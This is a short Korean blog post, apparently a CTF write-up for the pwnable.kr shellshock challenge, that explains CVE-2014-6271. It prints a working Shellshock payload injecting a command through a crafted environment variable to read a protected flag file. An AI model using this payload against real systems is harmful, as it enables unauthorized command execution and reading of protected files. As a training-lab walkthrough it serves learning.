코드가 매우 간단하다. 그 만큼 풀이도 간단하다.



Shellshock는 CVE-2014-6271 에 붙은 이름이다.


이 취약점은 환경변수를 사용한다.


env x='() { :; }; echo WWW' ./shellshock


이런식으로 입력하면 원래 실행되서는 안될 ./shellshock가 실행되는 것이다.


저 코드는 ./shellshock를 실행해서 echo WWW를 실행하는 코드이다.


환경변수에 echo WWW가 들어있어서 프로그램을 실행할때 같이 실행이된다.


이 부분에 flag를 여는 함수를 넣는다고 생각하면, setresuid, setresgid를 사용한 상태에서 flag를 열 수 있는 것이다.


env x='() { :; }; /bin/cat /home/shellshock/flag' ./shellshock 를 실행하면 된다.



물론 저기다가 /bin/bash를 넣어서 cat을 실행해도 된다.



Ps. env할때 () { :; }  공백이 중요하니 주의.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
블로그 이미지

천재보다는 범재

,